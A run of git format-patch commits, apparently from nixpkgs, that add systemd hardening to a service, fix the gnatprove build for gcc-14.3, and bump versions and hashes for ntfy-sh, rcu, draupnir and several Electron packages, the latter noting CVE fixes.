+        PrivateTmp = true;
+        ProcSubset = "pid";
+        ProtectClock = true;
+        ProtectControlGroups = true;
+        ProtectHome = true;
+        ProtectHostname = true;
+        ProtectKernelLogs = true;
+        ProtectKernelModules = true;
+        ProtectKernelTunables = true;
+        ProtectProc = "invisible";
+        ProtectSystem = "strict";
         Restart = "on-failure";
+        RestartSec = "10s";
+        RestrictAddressFamilies = [
+          "AF_INET"
+          "AF_INET6"
+          "AF_UNIX"
+          "AF_NETLINK"
+        ];
+        RestrictNamespaces = true;
+        RestrictRealtime = true;
+        SystemCallArchitectures = "native";
+        SystemCallFilter = [
+          "@system-service"
+          "@resources"
+          "~@privileged"
+        ];
+        NoNewPrivileges = true;
+        UMask = "0077";
       };
     };
   };

From 428e791bafca85337a8b81519c94db4247a8a201 Mon Sep 17 00:00:00 2001
From: Thomas Heijligen <src@posteo.de>
Date: Fri, 16 May 2025 22:04:44 +0200
Subject: [PATCH 0279/4511] gnatprove: fix building with gcc-14.3

- Fix extracting of gnat sources
  When the gnat.cc.version does not match the gcc version within the
  tarball, the postPatch phase could't extract the needed sources.
  Use wildcards to overcome this issue.

- Changes for gcc-14.3 broke the build
  Backporting a patch from spark2014 master to fsf-14
  https://github.com/AdaCore/spark2014/issues/58

(cherry picked from commit 6e75ca1faa4128a3538ca1639491dd0ce31b0567)
---
 ...egory-change-for-N_Formal_Package_De.patch | 33 +++++++++++++++++++
 .../ada-modules/gnatprove/default.nix         |  7 ++--
 2 files changed, 38 insertions(+), 2 deletions(-)
 create mode 100644 pkgs/development/ada-modules/gnatprove/0003-Adjust-after-category-change-for-N_Formal_Package_De.patch

diff --git a/pkgs/development/ada-modules/gnatprove/0003-Adjust-after-category-change-for-N_Formal_Package_De.patch b/pkgs/development/ada-modules/gnatprove/0003-Adjust-after-category-change-for-N_Formal_Package_De.patch
new file mode 100644
index 000000000000..aea33821f045
--- /dev/null
+++ b/pkgs/development/ada-modules/gnatprove/0003-Adjust-after-category-change-for-N_Formal_Package_De.patch
@@ -0,0 +1,33 @@
+From 3c06fb993ae628b5069c1f3e23f11c53815e1cbe Mon Sep 17 00:00:00 2001
+From: Eric Botcazou <ebotcazou@adacore.com>
+Date: Sat, 8 Mar 2025 00:09:57 +0100
+Subject: [PATCH] Adjust after category change for N_Formal_Package_Declaration
+
+Issue: eng/toolchain/gnat#1354
+---
+ src/why/gnat2why-borrow_checker.adb | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/why/gnat2why-borrow_checker.adb b/src/why/gnat2why-borrow_checker.adb
+index a97f225b06..f3ab8be3e9 100644
+--- a/src/why/gnat2why-borrow_checker.adb
++++ b/src/why/gnat2why-borrow_checker.adb
+@@ -1693,6 +1693,7 @@ procedure Check_Declaration (Decl : Node_Id) is
+          --  Ignored constructs for pointer checking
+ 
+          when N_Formal_Object_Declaration
++            | N_Formal_Package_Declaration
+             | N_Formal_Type_Declaration
+             | N_Incomplete_Type_Declaration
+             | N_Private_Extension_Declaration
+@@ -3326,7 +3327,6 @@ procedure Check_Node (N : Node_Id) is
+             | N_Empty
+             | N_Enumeration_Representation_Clause
+             | N_Exception_Renaming_Declaration
+-            | N_Formal_Package_Declaration
+             | N_Formal_Subprogram_Declaration
+             | N_Freeze_Entity
+             | N_Freeze_Generic_Entity
+-- 
+2.48.1
+
diff --git a/pkgs/development/ada-modules/gnatprove/default.nix b/pkgs/development/ada-modules/gnatprove/default.nix
index c9377237be8c..c59c77c3a4cb 100644
--- a/pkgs/development/ada-modules/gnatprove/default.nix
+++ b/pkgs/development/ada-modules/gnatprove/default.nix
@@ -64,6 +64,9 @@ let
 
         # Suppress warnings on aarch64: https://github.com/AdaCore/spark2014/issues/54
         ./0002-mute-aarch64-warnings.patch
+
+        # Changes to the GNAT frontend: https://github.com/AdaCore/spark2014/issues/58
+        ./0003-Adjust-after-category-change-for-N_Formal_Package_De.patch
       ];
       commit_date = "2024-01-11";
     };
@@ -121,8 +124,8 @@ stdenv.mkDerivation {
 
   postPatch = ''
     # gnat2why/gnat_src points to the GNAT sources
-    tar xf ${gnat.cc.src} gcc-${gnat.cc.version}/gcc/ada
-    mv gcc-${gnat.cc.version}/gcc/ada gnat2why/gnat_src
+    tar xf ${gnat.cc.src} --wildcards 'gcc-*/gcc/ada'
+    mv gcc-*/gcc/ada gnat2why/gnat_src
   '';
 
   configurePhase = ''

From 8dd521a67b42e549b6e729da0c326526930f2ed5 Mon Sep 17 00:00:00 2001
From: networkException <git@nwex.de>
Date: Fri, 30 May 2025 16:27:40 +0200
Subject: [PATCH 0280/4511] ntfy-sh: 2.11.0 -> 2.12.0

https://github.com/binwiederhier/ntfy/releases/tag/v2.12.0
(cherry picked from commit 532c467611b1919f0b32e8f7ef17cf1491acb71d)
---
 pkgs/tools/misc/ntfy-sh/default.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/tools/misc/ntfy-sh/default.nix b/pkgs/tools/misc/ntfy-sh/default.nix
index b4601e2f365a..0fbf1a316354 100644
--- a/pkgs/tools/misc/ntfy-sh/default.nix
+++ b/pkgs/tools/misc/ntfy-sh/default.nix
@@ -12,21 +12,21 @@
 
 buildGoModule rec {
   pname = "ntfy-sh";
-  version = "2.11.0";
+  version = "2.12.0";
 
   src = fetchFromGitHub {
     owner = "binwiederhier";
     repo = "ntfy";
-    rev = "v${version}";
-    hash = "sha256-lSj4LfS4nBC1xtTE/ee2Nhx9TmlU+138miwC0nEfVRY=";
+    tag = "v${version}";
+    hash = "sha256-fnnDVx84dc0iHA1Xa7AgdiBzLxCm4UIZjbMkc24GLVI=";
   };
 
-  vendorHash = "sha256-V8LgbprUsr+8Ub4xeTPrE4Bp9qOP/R35/qPj0Udgod0=";
+  vendorHash = "sha256-DXvQbVKFviGhTosW4F+FB/tbJBzM5FHULWv4cO3RnK4=";
 
   ui = buildNpmPackage {
     inherit src version;
     pname = "ntfy-sh-ui";
-    npmDepsHash = "sha256-PCkRULHfC3ktShO+3wIQFLG24l5LBSB1niWcIrCT9Bo=";
+    npmDepsHash = "sha256-SmSItsOjpi874c2AK/3Xmtb0/PisXM+07eoQEEYWKt0=";
 
     prePatch = ''
       cd web/

From 66edb16a6b193995bb8f4c121ca0616ab39cfb5a Mon Sep 17 00:00:00 2001
From: OPNA2608 <opna2608@protonmail.com>
Date: Sun, 25 May 2025 13:41:26 +0200
Subject: [PATCH 0281/4511] rcu: 2025.001s -> 4.0.24

(cherry picked from commit 79e0c73b8f5b709be488b1b1382f7841b1dea489)
---
 pkgs/by-name/rc/rcu/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/rc/rcu/package.nix b/pkgs/by-name/rc/rcu/package.nix
index a34559c31e47..0605e31f57f7 100644
--- a/pkgs/by-name/rc/rcu/package.nix
+++ b/pkgs/by-name/rc/rcu/package.nix
@@ -20,15 +20,15 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "rcu";
-  version = "2025.001s";
+  version = "4.0.24";
 
   format = "other";
 
   src =
     let
       src-tarball = requireFile {
-        name = "rcu-d${version}-source.tar.gz";
-        hash = "sha256-QC9ieulYAmE9pwt1/eZmyI5MZfRV0f24Pe5oKtuXNok=";
+        name = "rcu-${version}-source.tar.gz";
+        hash = "sha256-3rZiqg8Uuta3kI2m+2rBZ1XzN9bFds+emhivH5X7sJg=";
         url = "https://www.davisr.me/projects/rcu/";
       };
     in

From 2a30fb8b39f55de9878b75498afbb732371254ab Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Fri, 30 May 2025 16:56:40 +0200
Subject: [PATCH 0282/4511] draupnir: 2.2.0 -> 2.3.1

https://github.com/the-draupnir-project/Draupnir/releases/tag/v2.3.0
https://github.com/the-draupnir-project/Draupnir/releases/tag/v2.3.1

https://github.com/the-draupnir-project/Draupnir/compare/v2.2.0...v2.3.1
(cherry picked from commit 192e023210122ff56192b2b70b65b0be9a13b42e)
---
 pkgs/by-name/dr/draupnir/hashes.json  |  2 +-
 pkgs/by-name/dr/draupnir/package.json | 16 ++++++++--------
 pkgs/by-name/dr/draupnir/package.nix  |  4 ++--
 3 files changed, 11 insertions(+), 11 deletions(-)

diff --git a/pkgs/by-name/dr/draupnir/hashes.json b/pkgs/by-name/dr/draupnir/hashes.json
index 4b85c2a37b6b..ad614b1cecb2 100644
--- a/pkgs/by-name/dr/draupnir/hashes.json
+++ b/pkgs/by-name/dr/draupnir/hashes.json
@@ -1,3 +1,3 @@
 {
-  "yarn_offline_cache_hash": "sha256-EM1YRbcgn0gLgw/8KImKBbG7T14ztsXqw7U5SINUT+U="
+  "yarn_offline_cache_hash": "sha256-no2bvBNM57JEk3nypsgnqvyuiHo3T1i8KCm887cP0Ak="
 }
diff --git a/pkgs/by-name/dr/draupnir/package.json b/pkgs/by-name/dr/draupnir/package.json
index ac159d046e45..1bf1ad16bb2b 100644
--- a/pkgs/by-name/dr/draupnir/package.json
+++ b/pkgs/by-name/dr/draupnir/package.json
@@ -1,6 +1,6 @@
 {
   "name": "draupnir",
-  "version": "2.2.0",
+  "version": "2.3.1",
   "description": "A moderation tool for Matrix",
   "main": "lib/index.js",
   "repository": "https://github.com/the-draupnir-project/Draupnir.git",
@@ -20,8 +20,7 @@
     "test:integration:single": "NODE_ENV=harness corepack yarn mocha --require test/tsnode.cjs --require test/integration/fixtures.ts --timeout 300000 --project ./tsconfig.json",
     "test:appservice:integration": "NODE_ENV=harness mocha --require test/tsnode.cjs --async-stack-traces --forbid-only --timeout 300000 --project ./tsconfig.json \"test/appservice/integration/**/*Test.ts\"",
     "test:appservice:integration:single": "NODE_ENV=harness corepack yarn mocha --require test/tsnode.cjs --timeout 300000 --project ./tsconfig.json",
-    "test:manual": "NODE_ENV=harness ts-node test/integration/manualLaunchScript.ts",
-    "version": "sed -i '/# version automated/s/[0-9][0-9]*\\.[0-9][0-9]*\\.[0-9][^\"]*/'$npm_package_version'/' synapse_antispam/setup.py && git add synapse_antispam/setup.py && cat synapse_antispam/setup.py"
+    "test:manual": "NODE_ENV=harness ts-node test/integration/manualLaunchScript.ts"
   },
   "devDependencies": {
     "@eslint/js": "^9.7.0",
@@ -52,8 +51,8 @@
     "@gnuxie/typescript-result": "^1.0.0",
     "@sentry/node": "^7.17.2",
     "@sinclair/typebox": "0.34.13",
-    "@the-draupnir-project/interface-manager": "4.0.2",
-    "@the-draupnir-project/matrix-basic-types": "1.2.0",
+    "@the-draupnir-project/interface-manager": "4.1.0",
+    "@the-draupnir-project/matrix-basic-types": "1.3.0",
     "better-sqlite3": "^9.4.3",
     "body-parser": "^1.20.2",
     "config": "^3.3.9",
@@ -63,15 +62,16 @@
     "jsdom": "^24.0.0",
     "matrix-appservice-bridge": "^10.3.1",
     "matrix-bot-sdk": "npm:@vector-im/matrix-bot-sdk@^0.7.1-element.6",
-    "matrix-protection-suite": "npm:@gnuxie/matrix-protection-suite@2.10.0",
-    "matrix-protection-suite-for-matrix-bot-sdk": "npm:@gnuxie/matrix-protection-suite-for-matrix-bot-sdk@2.10.1",
+    "matrix-protection-suite": "npm:@gnuxie/matrix-protection-suite@3.4.0",
+    "matrix-protection-suite-for-matrix-bot-sdk": "npm:@gnuxie/matrix-protection-suite-for-matrix-bot-sdk@3.1.4",
     "pg": "^8.8.0",
     "yaml": "^2.3.2"
   },
   "overrides": {
     "matrix-bot-sdk": "$@vector-im/matrix-bot-sdk",
     "@vector-im/matrix-bot-sdk": "npm:@vector-im/matrix-bot-sdk@^0.7.1-element.6",
-    "@the-draupnir-project/matrix-basic-types": "@the-draupnir-project/matrix-basic-types@1.2.0"
+    "@the-draupnir-project/matrix-basic-types": "@the-draupnir-project/matrix-basic-types@1.2.0",
+    "matrix-protection-suite": "$matrix-protection-suite"
   },
   "engines": {
     "node": ">=20.0.0"
diff --git a/pkgs/by-name/dr/draupnir/package.nix b/pkgs/by-name/dr/draupnir/package.nix
index 887d79277fbc..9fbc2e62e9b9 100644
--- a/pkgs/by-name/dr/draupnir/package.nix
+++ b/pkgs/by-name/dr/draupnir/package.nix
@@ -21,13 +21,13 @@ let
 in
 mkYarnPackage rec {
   pname = "draupnir";
-  version = "2.2.0";
+  version = "2.3.1";
 
   src = fetchFromGitHub {
     owner = "the-draupnir-project";
     repo = "Draupnir";
     tag = "v${version}";
-    hash = "sha256-EeYjtrfnX+z6SeXavUhUU53mURph48gIUZlF3tubl20=";
+    hash = "sha256-bDesbwTGmrwFp7VQwhxam9WApbmHj1aUrbIdYHdL7YA=";
   };
 
   nativeBuildInputs = [

From a5b6ef1a95fce73770fd38474733d9d4f9ed0538 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Sun, 25 May 2025 19:42:15 +0200
Subject: [PATCH 0283/4511] electron-source.electron_34: 34.5.5 -> 34.5.7

- Changelog: https://github.com/electron/electron/releases/tag/v34.5.7
- Diff: https://github.com/electron/electron/compare/refs/tags/v34.5.5...v34.5.7
- Fixes CVE-2025-4609
- Fixes CVE-2025-4664

(cherry picked from commit 0069117d96137b8cf5ad05e631446f347b99b7f5)
---
 pkgs/development/tools/electron/info.json | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/development/tools/electron/info.json b/pkgs/development/tools/electron/info.json
index 17f7bf015873..6aa1c50b1aeb 100644
--- a/pkgs/development/tools/electron/info.json
+++ b/pkgs/development/tools/electron/info.json
@@ -57,10 +57,10 @@
             },
             "src/electron": {
                 "args": {
-                    "hash": "sha256-NdeVWtmGpBqUuRtPBc0xLn7z4YNZ9p765a9nM3XdjCw=",
+                    "hash": "sha256-V393R2leEFjj337xVnqo9hlSn7rq44n2PnLcaUrYQ4M=",
                     "owner": "electron",
                     "repo": "electron",
-                    "tag": "v34.5.5"
+                    "tag": "v34.5.7"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -1271,10 +1271,10 @@
                 "fetcher": "fetchFromGitiles"
             }
         },
-        "electron_yarn_hash": "10ny8cj2m8wn8zb5ljsfc8rpv6y4rp049zv5i5slyk3lj2zpgr6y",
+        "electron_yarn_hash": "0gh5bcsh23s3rqxqc2l3jz5vjb553sk0a1jycn94zm821pc3csd2",
         "modules": "132",
         "node": "20.19.1",
-        "version": "34.5.5"
+        "version": "34.5.7"
     },
     "35": {
         "chrome": "134.0.6998.205",

From 8e942a2f3a7f3401d3c5847c698945e1d917bfa2 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Sun, 25 May 2025 19:42:19 +0200
Subject: [PATCH 0284/4511] electron-source.electron_35: 35.3.0 -> 35.5.0

- Changelog: https://github.com/electron/electron/releases/tag/v35.5.0
- Diff: https://github.com/electron/electron/compare/refs/tags/v35.3.0...v35.5.0
- Fixes CVE-2025-4609
- Fixes CVE-2025-4664

(cherry picked from commit 921a5ffa402484907ac7e65edce9e48b49ae79e4)
---
 pkgs/development/tools/electron/info.json | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/info.json b/pkgs/development/tools/electron/info.json
index 6aa1c50b1aeb..791c226661c3 100644
--- a/pkgs/development/tools/electron/info.json
+++ b/pkgs/development/tools/electron/info.json
@@ -1334,10 +1334,10 @@
             },
             "src/electron": {
                 "args": {
-                    "hash": "sha256-rRrXXuCfS9X+00u7/18A3m8V+k9MK0QITuheQlHFZdQ=",
+                    "hash": "sha256-+Kj09hzwmAs5UvzV2wkBY4pPJDDNNmdIcjWXAbfrwz0=",
                     "owner": "electron",
                     "repo": "electron",
-                    "tag": "v35.3.0"
+                    "tag": "v35.5.0"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -1663,10 +1663,10 @@
             },
             "src/third_party/electron_node": {
                 "args": {
-                    "hash": "sha256-bJPSHe3CsL9T1SYwC8hyDbAMqj/5WvgM8VqQU9mpVww=",
+                    "hash": "sha256-fGfV1IkJoAMQC49vZPgmoYW6OznOCJ4IIUNUiyLjIKE=",
                     "owner": "nodejs",
                     "repo": "node",
-                    "tag": "v22.14.0"
+                    "tag": "v22.15.1"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -2580,10 +2580,10 @@
                 "fetcher": "fetchFromGitiles"
             }
         },
-        "electron_yarn_hash": "0l38rbmlrcrgkw7ggj33xszcs7arm601gzq4c8v0rn3m5zp6yr77",
+        "electron_yarn_hash": "1p9gs8s1zhwxvvmi9zb76k5nn1wly4yq0i12ibr0wvw5ls8bbars",
         "modules": "133",
-        "node": "22.14.0",
-        "version": "35.3.0"
+        "node": "22.15.1",
+        "version": "35.5.0"
     },
     "36": {
         "chrome": "136.0.7103.49",

From e5eb10b340c2ce7281315d6917d5ce20c313a061 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Sun, 25 May 2025 19:42:23 +0200
Subject: [PATCH 0285/4511] electron-source.electron_36: 36.2.0 -> 36.3.2

- Changelog: https://github.com/electron/electron/releases/tag/v36.3.2
- Diff: https://github.com/electron/electron/compare/refs/tags/v36.2.0...v36.3.2

(cherry picked from commit 3d418677462fcbeb2b62f5b9568da94e629cb4c9)
---
 pkgs/development/tools/electron/info.json | 42 +++++++++++------------
 1 file changed, 21 insertions(+), 21 deletions(-)

diff --git a/pkgs/development/tools/electron/info.json b/pkgs/development/tools/electron/info.json
index 791c226661c3..f181728bc62c 100644
--- a/pkgs/development/tools/electron/info.json
+++ b/pkgs/development/tools/electron/info.json
@@ -2586,7 +2586,7 @@
         "version": "35.5.0"
     },
     "36": {
-        "chrome": "136.0.7103.49",
+        "chrome": "136.0.7103.115",
         "chromium": {
             "deps": {
                 "gn": {
@@ -2596,15 +2596,15 @@
                     "version": "2025-03-24"
                 }
             },
-            "version": "136.0.7103.49"
+            "version": "136.0.7103.115"
         },
         "chromium_npm_hash": "sha256-QRjk9X4rJW3ofizK33R4T1qym1riqcnpBhDF+FfNZLo=",
         "deps": {
             "src": {
                 "args": {
-                    "hash": "sha256-7ykQd8jKE9aVfTBPrJnOGHQYhmm+gJoMX7kET7eYFXM=",
+                    "hash": "sha256-yUWNV65TshvAMaz1kGOUQuy+J5vXPryjisGN3MxTU9Q=",
                     "postFetch": "rm -r $out/third_party/blink/web_tests; rm -r $out/content/test/data; rm -rf $out/courgette/testdata; rm -r $out/extensions/test/data; rm -r $out/media/test/data; ",
-                    "tag": "136.0.7103.49",
+                    "tag": "136.0.7103.115",
                     "url": "https://chromium.googlesource.com/chromium/src.git"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -2643,10 +2643,10 @@
             },
             "src/electron": {
                 "args": {
-                    "hash": "sha256-mErVGqPBvplWEEOnEFnEdxDU34jc5YECLj18rU7E/XM=",
+                    "hash": "sha256-bMQJfOkWRFE7Qg4kHiwkNcuXOSWU0EzEGSo8U1SuGTQ=",
                     "owner": "electron",
                     "repo": "electron",
-                    "tag": "v36.2.0"
+                    "tag": "v36.3.2"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -2684,8 +2684,8 @@
             },
             "src/third_party/angle": {
                 "args": {
-                    "hash": "sha256-+Cgf3OocFbD2rL4izA/0Z0qjWQiIUwiTW/z0cW0pGb0=",
-                    "rev": "ecc378cc61109732d174d6542c41fd523c331b13",
+                    "hash": "sha256-bIpN9lehrKpJYBKLeo8Szz0/aVe7NU2Eo2NIO5dAZ9w=",
+                    "rev": "fa40b7c586fd2da9fd7e5c4d893ecb1334553b9e",
                     "url": "https://chromium.googlesource.com/angle/angle.git"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -2940,8 +2940,8 @@
             },
             "src/third_party/devtools-frontend/src": {
                 "args": {
-                    "hash": "sha256-BHD/XVQquh9/cr+Kv43lKGFReHy4YbQIAJq5792+4Sw=",
-                    "rev": "e793e21a020b53a66ae13ef8673f80b8e8a73746",
+                    "hash": "sha256-hEksLeJli/1TNNrDcUjv19cpyIJph6kfriNfe7FWO0U=",
+                    "rev": "4a53cbe7a1270c91ec60903ee792de658453becb",
                     "url": "https://chromium.googlesource.com/devtools/devtools-frontend"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -2972,10 +2972,10 @@
             },
             "src/third_party/electron_node": {
                 "args": {
-                    "hash": "sha256-KXhkO1qKbf7/KktyLQcPGEzcIErsIKAUE89oGTP2mbI=",
+                    "hash": "sha256-fGfV1IkJoAMQC49vZPgmoYW6OznOCJ4IIUNUiyLjIKE=",
                     "owner": "nodejs",
                     "repo": "node",
-                    "tag": "v22.15.0"
+                    "tag": "v22.15.1"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -3567,8 +3567,8 @@
             },
             "src/third_party/skia": {
                 "args": {
-                    "hash": "sha256-LQDs+V7XFK+XcySrr53WZVX6DhyJypePBc/B8FDh5Gw=",
-                    "rev": "8b7f0fd0f95b97d863da34ccfa52a0f931cbd13f",
+                    "hash": "sha256-ei95CJRfNPrsYt8XcDi7Pnl5dGiJu3qs7R4rAcZ24Uc=",
+                    "rev": "bcce46ca33b67cc302dd53927a63013b8f53bf73",
                     "url": "https://skia.googlesource.com/skia.git"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -3655,8 +3655,8 @@
             },
             "src/third_party/sqlite/src": {
                 "args": {
-                    "hash": "sha256-ltl3OTk/wZPSj3yYthNlKd3mBxef6l5uW6UYTwebNek=",
-                    "rev": "567495a62a62dc013888500526e82837d727fe01",
+                    "hash": "sha256-1vAGAF3idxgHGaqb5gT5k3KIGC2H3gqC3RTVU2ZRf4A=",
+                    "rev": "8a22b25ad7244abaf07e372cc6dc97e041d663a9",
                     "url": "https://chromium.googlesource.com/chromium/deps/sqlite.git"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -3898,16 +3898,16 @@
             },
             "src/v8": {
                 "args": {
-                    "hash": "sha256-Gc7huCu+d5XBwI420V1nutKeJpqBfvJ6fhh5zpRtMw4=",
-                    "rev": "b6178615ecae6d84b347cb7a1812cad9afca51f2",
+                    "hash": "sha256-Fi4pl6xSXkHF4XaQNfNzULVjQZSzDfaHFIyIxH103go=",
+                    "rev": "5297e56d91816747d539abca52b578e5832135f0",
                     "url": "https://chromium.googlesource.com/v8/v8.git"
                 },
                 "fetcher": "fetchFromGitiles"
             }
         },
-        "electron_yarn_hash": "195amc05nj4p1x0mqi04m3qgw15k7fj62lw0xbrjz5iyjdyrdxan",
+        "electron_yarn_hash": "10n86jnzcq8kh0nk29ljw9wi1fgj13f07h92b009i1dryagliyrs",
         "modules": "135",
-        "node": "22.15.0",
-        "version": "36.2.0"
+        "node": "22.15.1",
+        "version": "36.3.2"
     }
 }

From aa3246aa1798f6460076b14e744219d92abc68af Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Sun, 25 May 2025 19:42:35 +0200
Subject: [PATCH 0286/4511] electron_34-bin: 34.5.5 -> 34.5.7

- Changelog: https://github.com/electron/electron/releases/tag/v34.5.7
- Diff: https://github.com/electron/electron/compare/refs/tags/v34.5.5...v34.5.7
- Fixes CVE-2025-4609
- Fixes CVE-2025-4664

(cherry picked from commit c3e63f9618aee1836ea94459635049b87fa72446)
---
 pkgs/development/tools/electron/binary/info.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/development/tools/electron/binary/info.json b/pkgs/development/tools/electron/binary/info.json
index 46b93b0412ab..076a1c413da1 100644
--- a/pkgs/development/tools/electron/binary/info.json
+++ b/pkgs/development/tools/electron/binary/info.json
@@ -12,14 +12,14 @@
     },
     "34": {
         "hashes": {
-            "aarch64-darwin": "3e2fd510e2c3703862bfb3114f4aa167504ef97130cfc06d538764b8c8b7211e",
-            "aarch64-linux": "05a5e7601672a8bca016fb6e1fe67afc39d54a5e6ab469eff3d5cbbce3a43557",
-            "armv7l-linux": "c5aa5f77ba3386f2989e330858e6a41b7293b3e741abc4146cf19b5a08b34473",
+            "aarch64-darwin": "5d9bba193dd522548da5c9289eae79016f053cefad77d0540e8412f1318462a8",
+            "aarch64-linux": "65e4c5fbbf452378664777696727384853ca4de699da7c84ac39463d8d0e7de9",
+            "armv7l-linux": "cd3dbedf798ddfcd28f3931b8d2214ee49af8a753c21b16d4068edad44dba2ef",
             "headers": "0gxibckgmbvbr84469fvl1f32aw1hbycnsj1lz5cmx196rpdj0r6",
-            "x86_64-darwin": "c1d30282cbc12cd47f6bfddf18a97a71964ee1c6933ceb91292547a45c7baee0",
-            "x86_64-linux": "a557db3c99b30a0712849fc9b6b96b56d5a62e51f1d8ace29df4902dc6edea01"
+            "x86_64-darwin": "8171d8f26305eb01001ddb2d8ff6c922a6142378e1cdac8d5cc72f727bd4e6b6",
+            "x86_64-linux": "0ad6461a74c6bb7ef076ee4b2f5c22801ea1efb585d716b01ba499d9158d34e5"
         },
-        "version": "34.5.5"
+        "version": "34.5.7"
     },
     "35": {
         "hashes": {

From 702a8931b361df8d1f220ed3901028c8a87b686e Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Sun, 25 May 2025 19:42:37 +0200
Subject: [PATCH 0287/4511] electron-chromedriver_34: 34.5.5 -> 34.5.7

- Changelog: https://github.com/electron/electron/releases/tag/v34.5.7
- Diff: https://github.com/electron/electron/compare/refs/tags/v34.5.5...v34.5.7
- Fixes CVE-2025-4609
- Fixes CVE-2025-4664

(cherry picked from commit fa085c5a220304659195a6c02836a6704570f3a1)
---
 .../tools/electron/chromedriver/info.json            | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/development/tools/electron/chromedriver/info.json b/pkgs/development/tools/electron/chromedriver/info.json
index 4a84d20e3d41..526283bc9abd 100644
--- a/pkgs/development/tools/electron/chromedriver/info.json
+++ b/pkgs/development/tools/electron/chromedriver/info.json
@@ -12,14 +12,14 @@
     },
     "34": {
         "hashes": {
-            "aarch64-darwin": "36f00fa118aeb349961983e4c4866e0f20096f5cf4ac647f036777b411c7e220",
-            "aarch64-linux": "6358fc8a91d625397cde14bfdae32b0eb57a3b079b3ecf355017eaa18badadf9",
-            "armv7l-linux": "ca654e2cebf1b2ed1448932862e64325d361be445f9763e4d38e2e4dfa67318e",
+            "aarch64-darwin": "f8d82b6fde28011e3fd75410fe0d9141deeac78a9a3754f3e9e517b485f75b52",
+            "aarch64-linux": "1a65ef666f61c695bf92c7beb52ea9ec70e105d822363ade0998277d19e5cd01",
+            "armv7l-linux": "bfa62551c5ef52f907ebb52004504b083a075d6f6582c1ef41dd180873d86518",
             "headers": "0gxibckgmbvbr84469fvl1f32aw1hbycnsj1lz5cmx196rpdj0r6",
-            "x86_64-darwin": "7b4cb534ec96b26a94ad710de288148c984de43453cb43ff2c8f75fbf0f14d19",
-            "x86_64-linux": "ff1759b9b7acd79b90bcc5d070be52df67e57950f767b15bf051b104b963e0a4"
+            "x86_64-darwin": "5dff162e53b4c5200b581cd4e3d93a9d5aec31bd3d69b7ede7d2a697daee7f97",
+            "x86_64-linux": "8fad178d82cc5e65fa18061f213f6d071e2ae1d773824e18703006dab18acf95"
         },
-        "version": "34.5.5"
+        "version": "34.5.7"
     },
     "35": {
         "hashes": {

From 96982f995d6ac17d58cd1999d8d8ab57ab7cd9de Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Sun, 25 May 2025 19:42:41 +0200
Subject: [PATCH 0288/4511] electron_35-bin: 35.3.0 -> 35.5.0

- Changelog: https://github.com/electron/electron/releases/tag/v35.5.0
- Diff: https://github.com/electron/electron/compare/refs/tags/v35.3.0...v35.5.0
- Fixes CVE-2025-4609
- Fixes CVE-2025-4664

(cherry picked from commit c58fd7b80b66040917309ca4b7218f43311ade82)
---
 pkgs/development/tools/electron/binary/info.json | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/binary/info.json b/pkgs/development/tools/electron/binary/info.json
index 076a1c413da1..ba01bda2c62d 100644
--- a/pkgs/development/tools/electron/binary/info.json
+++ b/pkgs/development/tools/electron/binary/info.json
@@ -23,14 +23,14 @@
     },
     "35": {
         "hashes": {
-            "aarch64-darwin": "a01c6589909768dced83f5f5b1cb2f85906ace17fae8e9aab4b900db6268e0e5",
-            "aarch64-linux": "e6dc44d0a89e344de8751d4b8f6f3b4ce558fd4d18c0744894a8108a70a8d593",
-            "armv7l-linux": "26980b8f10f913b976fa0caf3faa06f5c55956801a2c5a6fb61ac403d82c07fc",
-            "headers": "1la2xfr8lyvq7dc4mxllj3qksrrwxmz3nc2fnr2h0l08bfn2y1ay",
-            "x86_64-darwin": "06426674106607c73b858ba6d69446cd0c56f40bbcb3ec35de36a516da11833b",
-            "x86_64-linux": "d76cef792b8a8a05e707337b3ebc8a44b2c6dd98c2a9ee7a53112633308f7817"
+            "aarch64-darwin": "03b2926356c6cf8718b2d62ee8dd1eaa0812c1f44c5a751c332401dd2867aa47",
+            "aarch64-linux": "9e98b01d5c6611437e8eecece093307e3e59733bb64c068fc3f9bd226b92238d",
+            "armv7l-linux": "3072f6865c6f0202d4059224cb43ecab27f03852025addf09a4fa1b6606cb80c",
+            "headers": "0wspga950dap8wk6ak2idsmp8irjn4xaxq431vxr5ik6r07zn89b",
+            "x86_64-darwin": "3cfff8110bd11d2b3c342b56674d3fd5863698d8413a2a97be80169f61e23ddf",
+            "x86_64-linux": "4e9d927a8edecf59dde02b98fe6bfde64814141898650ca1c69820ae0edbcfa4"
         },
-        "version": "35.3.0"
+        "version": "35.5.0"
     },
     "36": {
         "hashes": {

